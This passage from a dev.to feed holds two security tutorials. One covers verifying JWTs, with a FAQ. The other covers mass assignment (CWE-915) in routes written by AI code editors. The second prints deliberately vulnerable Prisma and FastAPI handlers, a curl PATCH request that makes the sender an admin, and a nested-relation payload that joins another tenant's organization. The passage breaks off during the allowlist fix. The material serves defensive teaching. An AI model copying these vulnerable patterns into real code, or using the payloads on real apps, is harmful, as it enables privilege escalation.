    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a normal Node route handler, &lt;code&gt;jsonwebtoken&lt;/code&gt; is fine, as long as it is 9.x and you pin the algorithm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;jsonwebtoken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// ^9.0.0&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;JWT_SECRET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JWT_SECRET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;algorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HS256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;audience&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;app&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three details matter more than they look:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fail loudly on a missing secret.&lt;/strong&gt; The CVE-2022-23540 path needed a falsy key. Throwing at startup when the secret is unset removes that whole class of surprise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pin &lt;code&gt;algorithms&lt;/code&gt; even where the library has safe defaults.&lt;/strong&gt; It costs one line and it documents intent for the next person, or the next model, that edits the file.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the forged-token test.&lt;/strong&gt; Take a valid token, change one claim, re-encode it, and assert you get a 401 or a redirect. It is the only test that can tell &lt;code&gt;decode()&lt;/code&gt; and &lt;code&gt;verify()&lt;/code&gt; apart, so it is the only one that will catch a regression.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One more check while you are in there: search the repo for &lt;code&gt;decode(&lt;/code&gt; and &lt;code&gt;verify_signature&lt;/code&gt;. If either appears in a file that makes an access decision, you have found this bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is jwt.decode() ever safe to use?&lt;/strong&gt;&lt;br&gt;
A: Yes, for reading claims you are not going to trust, like showing a username in the UI or logging a token ID. It is never safe for deciding who someone is or what they can access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Why does jsonwebtoken fail in Next.js middleware?&lt;/strong&gt;&lt;br&gt;
A: It depends on Node's &lt;code&gt;crypto&lt;/code&gt; module, which the Edge runtime does not provide. Use &lt;code&gt;jose&lt;/code&gt; and its &lt;code&gt;jwtVerify()&lt;/code&gt; function there instead of falling back to &lt;code&gt;decode()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Does jsonwebtoken 9 still accept alg none?&lt;/strong&gt;&lt;br&gt;
A: Not by default. Version 9.0.0 removed default support for &lt;code&gt;none&lt;/code&gt; in &lt;code&gt;verify()&lt;/code&gt;, and it now defaults the allowed algorithms based on the key type. Versions 8.5.1 and below are the risky ones.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/2y9eny5m" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; inside Cursor and Claude Code as an MCP server so security checks happen while the code is still fresh in my head, not three days later in CI. But for this particular bug, the control that matters most is cheap and tool-agnostic: one forged-token test in your suite, and a grep for &lt;code&gt;decode(&lt;/code&gt; in anything that guards a route. Catch it early, whatever you use.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Why Cursor Lets Any User Make Themselves Admin (CWE-915)</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Thu, 08 Oct 2026 11:00:37 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-lets-any-user-make-themselves-admin-cwe-915-81i</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-lets-any-user-make-themselves-admin-cwe-915-81i</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Ask Cursor or Claude Code for an "update profile" route and you often get &lt;code&gt;prisma.user.update({ data: req.body })&lt;/code&gt;. Any logged-in user can add &lt;code&gt;"role": "admin"&lt;/code&gt; to the request and it saves.&lt;/li&gt;
&lt;li&gt;Point that out and the fix it writes usually strips &lt;code&gt;role&lt;/code&gt; and nothing else. &lt;code&gt;emailVerified&lt;/code&gt;, &lt;code&gt;credits&lt;/code&gt;, &lt;code&gt;plan&lt;/code&gt;, &lt;code&gt;orgId&lt;/code&gt; and Prisma relation writes still go straight through.&lt;/li&gt;
&lt;li&gt;The fix is an allowlist schema that rejects unknown keys, not a denylist. About ten lines of zod or Pydantic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a test I now run on every route an AI editor writes for me.&lt;/p&gt;

&lt;p&gt;I ask for something boring. A settings page with name, bio and avatar. Cursor writes the form, the API route and the database call in under a minute, and all of it works. Then I open devtools, copy the PATCH request, add one field the form never sends, and replay it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"role": "admin"&lt;/code&gt;. 200 OK. Refresh. Admin.&lt;/p&gt;

&lt;p&gt;The route had an auth check. It even scoped the update to my own user ID. It just never asked which columns I was allowed to change.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;Mass assignment (CWE-915) happens when a route copies the whole request body into a database write, so the client decides which columns change. This is the shape AI editors produce for "update my profile" routes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/me&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attack is one extra field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PATCH https://app.example.com/api/me &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: session=..."&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"name":"Sam","role":"admin","emailVerified":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mongoose has the same problem. &lt;code&gt;User.findByIdAndUpdate(req.user.id, req.body)&lt;/code&gt; drops fields that are not in the schema, but &lt;code&gt;role&lt;/code&gt; is in the schema, so it lands.&lt;/p&gt;

&lt;p&gt;Python versions look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/me&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_me&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# CWE-915: the client picks the columns
&lt;/span&gt;    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As a bonus, &lt;code&gt;res.json(user)&lt;/code&gt; in the first example sends the password hash back to the browser. That one is a separate bug, but it travels with this one.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix the AI Writes Is a Denylist
&lt;/h2&gt;

&lt;p&gt;When you tell the AI that users can set their own role, it removes the field you named and keeps the rest of the body flowing through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;rest&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That blocks &lt;code&gt;role&lt;/code&gt;. It does not block &lt;code&gt;emailVerified&lt;/code&gt;, &lt;code&gt;credits&lt;/code&gt;, &lt;code&gt;plan&lt;/code&gt;, &lt;code&gt;stripeCustomerId&lt;/code&gt;, &lt;code&gt;orgId&lt;/code&gt;, or the column someone adds next quarter. A denylist has to be updated every time the schema changes, and nobody updates it.&lt;/p&gt;

&lt;p&gt;Prisma makes it worse. The &lt;code&gt;data&lt;/code&gt; object accepts nested relation writes, so the body can do more than set columns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"organization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"connect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"someone-elses-org-id"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your User model has an &lt;code&gt;organization&lt;/code&gt; relation, that payload moves the attacker into another tenant. No column called &lt;code&gt;role&lt;/code&gt; involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors write mass assignment because passing the whole body through is the shortest code that makes the feature work, and CRUD tutorials do it constantly. The model is reproducing the most common pattern it saw, and the most common pattern skips the field check.&lt;/p&gt;

&lt;p&gt;The bug is also invisible in review. The route has auth. It has ownership scoping. The form only sends three fields, so every happy-path test passes. Nothing fails until someone edits a request by hand.&lt;/p&gt;

&lt;p&gt;TypeScript does not help either. &lt;code&gt;req.body&lt;/code&gt; is whatever the client sent at runtime, and Prisma validates field names against your schema. &lt;code&gt;role&lt;/code&gt; is a valid field, so Prisma is happy to write it.&lt;/p&gt;

&lt;p&gt;Rails learned this the hard way. In 2012 a developer used a mass assignment bug on GitHub to add his own key to the Rails organization and push a commit to the Rails repository. Rails 4 then made strong parameters the default. Express, Fastify, Next.js route handlers and FastAPI have no equivalent default, so the protection exists only if someone writes it. The AI does not.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Validate the body against an allowlist schema that names the only fields a user may change, reject unknown keys, and pass only the parsed result to the database. Admin-only fields get their own route with its own role check.&lt;/p&gt;

&lt;p&gt;JavaScript with zod:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;zod&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UpdateMe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;bio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;avatarUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;url&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;strict&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// unknown keys like "role" fail validation&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/me&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;UpdateMe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;safeParse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
